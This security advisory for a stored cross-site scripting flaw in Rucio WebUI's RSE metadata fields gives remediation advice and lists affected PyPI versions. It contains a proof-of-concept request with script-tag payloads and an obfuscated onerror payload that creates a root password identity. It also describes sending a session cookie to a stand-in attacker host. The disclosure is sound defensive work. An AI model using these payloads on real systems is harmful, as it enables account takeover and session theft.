GHSA-h9fp-p2p9-873q

Source

https://github.com/advisories/GHSA-h9fp-p2p9-873q

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-h9fp-p2p9-873q/GHSA-h9fp-p2p9-873q.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-h9fp-p2p9-873q

Aliases

CVE-2026-25734

Published

2026-02-25T19:29:22Z

Modified

2026-02-28T05:14:35.264520Z

Severity

6.1 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N CVSS Calculator

Summary

Rucio WebUI has Stored Cross-site Scripting (XSS) in RSE Metadata

Details

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the RSE metadata of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

Several metadata fields accept arbitrary input which is stored and later rendered unsafely in the WebUI when the RSEs are listed in the RSE Management dashboard.

Create Path:
Admin > RSE Management

Trigger Paths:
Admin > RSE Management
Admin > RSE Management > RSE NAME

Vulnerable Attributes:
City, Country_Name, ISP

Request

POST /proxy/rses/XSSTEST HTTP/1.1
...
{"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false}

Response

HTTP/1.1 201 CREATED
...
Created

Stored XSS payload triggering in RSE listing after adding XSS payload in metadata <img width="1252" height="624" alt="Stored XSS payload triggering in RSE listing after adding XSS payload in metadata" src="https://github.com/user-attachments/assets/6546fc95-0c81-4db7-9271-37b5d4bc8f47" />

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheat_Sheet.html

Database specific

{
    "cwe_ids": [
        "CWE-1004",
        "CWE-79"
    ],
    "github_reviewed_at": "2026-02-25T19:29:22Z",
    "nvd_published_at": "2026-02-25T20:23:47Z",
    "severity": "MODERATE",
    "github_reviewed": true
}

References

Affected packages

PyPI / rucio-webui

Package

Name: rucio-webui; View open source insights on deps.dev
Purl: pkg:pypi/rucio-webui

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

35.8.3

Affected versions

1.*

1.5.10

1.5.11

1.5.11.post1

1.5.11.post2

1.5.12

1.6.0

1.6.0.post1

1.6.0.post2

1.6.1

1.6.2

1.6.3

1.6.4

1.6.5

1.6.7

1.6.8

1.7.0

1.7.1

1.7.2

1.7.3

1.8.0

1.8.1

1.8.2

1.8.3

1.8.4

1.8.5

1.8.5.post1

1.9.0

1.9.1

1.9.2

1.9.3

1.9.4

1.9.5

1.9.6

1.10.0

1.10.0.post1

1.10.2

1.10.3

1.10.4

1.10.4.post1

1.10.5

1.10.6

1.11.0

1.11.0.post1

1.11.1

1.11.2

1.11.3

1.11.4

1.12.0

1.12.0.post1

1.12.1

1.12.2

1.12.2.post1

1.12.3

1.12.3.post1

1.12.4

1.12.5

1.12.5.post1

1.12.5.post2

1.12.6

1.13.0

1.13.0.post1

1.13.0.post2

1.13.1

1.13.2

1.14.0.post1

1.14.0.post2

1.14.1.post1

1.14.2

1.14.6

1.14.7

1.14.8

1.14.8.post1

1.14.8.post2

1.14.9

1.14.9.post1

1.15.0

1.15.0.post1

1.15.1

1.15.2

1.15.3

1.15.3.post1

1.15.4

1.15.4.post1

1.16.0

1.16.0.post1

1.16.1

1.16.2

1.16.3

1.17.0

1.17.1

1.17.2

1.17.2.post1

1.17.5

1.17.6

1.17.6.post1

1.17.6.post2

1.17.7

1.17.8

1.17.8.post1

1.17.8.post2

1.18.0

1.18.1

1.18.3

1.18.4

1.18.5

1.18.5.post1

1.18.6

1.18.6.post1

1.18.7

1.18.8

1.18.8.post1

1.18.9

1.19.0.post2

1.19.1

1.19.2

1.19.3

1.19.4

1.19.4.post1

1.19.4.post2

1.19.5

1.19.6

1.19.7

1.19.7.post1

1.19.8

1.20.0rc1

1.20.0

1.20.1

1.20.1.post1

1.20.2

1.20.3rc1

1.20.3rc2

1.20.3

1.20.4rc1

1.20.4rc2

1.20.4rc3

1.20.4

1.20.4.post1

1.20.4.post2

1.20.5

1.20.6

1.20.7

1.20.8

1.20.9

1.20.10

1.20.11

1.20.13

1.20.14

1.20.15

1.20.16

1.21.0.dev1

1.21.0rc1

1.21.0rc2

1.21.0rc3

1.21.0

1.21.0.post1

1.21.0.post2

1.21.1

1.21.2

1.21.3

1.21.4

1.21.5

1.21.6

1.21.7

1.21.8

1.21.10

1.21.10.post1

1.21.12

1.22.0.dev1

1.22.0.dev2

1.22.0.dev3

1.22.0rc1

1.22.0rc2

1.22.0

1.22.1

1.22.2

1.22.3

1.22.3.post1

1.22.4.dev1

1.22.4

1.22.6

1.22.6.post1

1.22.7

1.22.8

1.22.8.post1

1.23.0rc1

1.23.0rc2

1.23.0

1.23.1

1.23.2

1.23.2.post1

1.23.2.post2

1.23.4

1.23.5

1.23.5.post1

1.23.6

1.23.6.post1

1.23.7

1.23.7.post1

1.23.8

1.23.9

1.23.9.post1

1.23.9.post2

1.23.9.post3

1.23.9.post4

1.23.10

1.23.11

1.23.11.post1

1.23.11.post2

1.23.11.post3

1.23.11.post4

1.23.12

1.23.13

1.23.14

1.23.15

1.23.17

1.23.18

1.23.19

1.23.20

1.24.0rc1

1.24.0

1.24.1

1.24.1.post1

1.24.1.post2

1.24.1.post3

1.24.1.post4

1.24.2

1.24.2.post1

1.24.3

1.24.3.post1

1.24.4

1.24.5

1.24.5.post1

1.25.0rc1

1.25.0rc2

1.25.0

1.25.1

1.25.1.post1

1.25.2

1.25.3

1.25.3.post1

1.25.3.post2

1.25.4

1.25.4.post1

1.25.5

1.25.6

1.25.7

1.26.0rc1

1.26.0rc2

1.26.0

1.26.1

1.26.1.post1

1.26.2

1.26.4

1.26.5

1.26.6

1.26.7

1.26.7.post1

1.26.8

1.26.8.post1

1.26.9

1.26.10

1.26.11

1.26.12

1.26.13

1.26.14

1.26.15

1.26.16

1.26.17

1.26.18

1.27.0rc1

1.27.0rc2

1.27.0

1.27.0.post1

1.27.1

1.27.2

1.27.3

1.27.4

1.27.4.post1

1.27.5

1.27.7

1.27.9

1.27.10

1.27.11

1.27.12

1.28.0rc1

1.28.0rc2

1.28.0

1.28.1

1.28.2

1.28.3

1.28.4

1.28.5

1.28.6

1.28.7

1.29.0rc1

1.29.0rc2

1.29.0

1.29.1

1.29.2

1.29.2.post1

1.29.2.post2

1.29.3

1.29.3.post1

1.29.4

1.29.5

1.29.6

1.29.7

1.29.7.post1

1.29.8

1.29.9

1.29.10

1.29.11

1.29.12

1.29.13

1.29.14

1.29.15

1.29.16

1.29.17

1.29.18

1.29.19

1.30.0rc1

1.30.0rc2

1.30.0rc3

1.30.0

1.30.1

1.30.2

1.30.3

1.30.4

1.30.5

1.30.6

1.30.7

1.30.8

1.31.0rc1

1.31.0rc2

1.31.0rc3

1.31.0

1.31.1

1.31.2

1.31.3

1.31.4

1.31.5

1.31.6

1.31.7

32.*

32.0.0rc1

32.0.0rc2

32.0.0

32.1.0

32.2.0

32.3.0

32.3.1

32.4.0

32.5.0

32.5.0.post1

32.5.1

32.6.0

32.6.0.post1

32.7.0

32.8.0

32.8.1

32.8.2

32.8.3

32.8.4

32.8.5

32.8.6

33.*

33.0.0rc1

33.0.0rc2

33.0.0rc3

33.0.0

33.1.0

33.2.0

33.2.1

33.3.0

33.4.0

33.4.0.post1

33.5.0

33.6.0

33.6.1

34.*

34.0.0rc1

34.0.0rc2

34.0.0

34.1.0

34.2.0

34.3.0

34.4.0

34.4.1

34.4.2

34.4.3

34.5.0

34.6.0

35.*

35.0.0rc1

35.0.0rc2

35.0.0

35.0.1

35.1.0

35.1.1

35.2.0

35.2.1

35.3.0

35.4.0

35.4.1

35.5.0

35.6.0

35.6.1

35.7.0

35.8.0

35.8.1

35.8.2

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-h9fp-p2p9-873q/GHSA-h9fp-p2p9-873q.json"

PyPI / rucio-webui

Package

Name: rucio-webui; View open source insights on deps.dev
Purl: pkg:pypi/rucio-webui

Affected ranges

Type: ECOSYSTEM
Events: Introduced

36.0.0rc1

Fixed

38.5.4

Affected versions

36.*

36.0.0rc1

36.0.0rc2

36.0.0rc3

36.0.0rc4

36.0.0rc5

36.0.0

36.0.0.post1

36.0.0.post2

36.1.0

36.2.0

36.3.0

36.4.0

36.5.0

37.*

37.0.0rc1

37.0.0rc2

37.0.0rc3

37.0.0rc4

37.0.0

37.1.0

37.1.0.post1

37.2.0

37.3.0

37.4.0

37.5.0

37.6.0

37.7.0

37.7.1

38.*

38.0.0rc1

38.0.0rc2

38.0.0rc3

38.0.0

38.1.0

38.2.0

38.3.0

38.4.0

38.5.0

38.5.1

38.5.2

38.5.3

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-h9fp-p2p9-873q/GHSA-h9fp-p2p9-873q.json"

PyPI / rucio-webui

Package

Name: rucio-webui; View open source insights on deps.dev
Purl: pkg:pypi/rucio-webui

Affected ranges

Type: ECOSYSTEM
Events: Introduced

39.0.0rc1

Fixed

39.3.1

Affected versions

39.*

39.0.0rc1

39.0.0rc2

39.0.0

39.1.0

39.2.0

39.3.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-h9fp-p2p9-873q/GHSA-h9fp-p2p9-873q.json"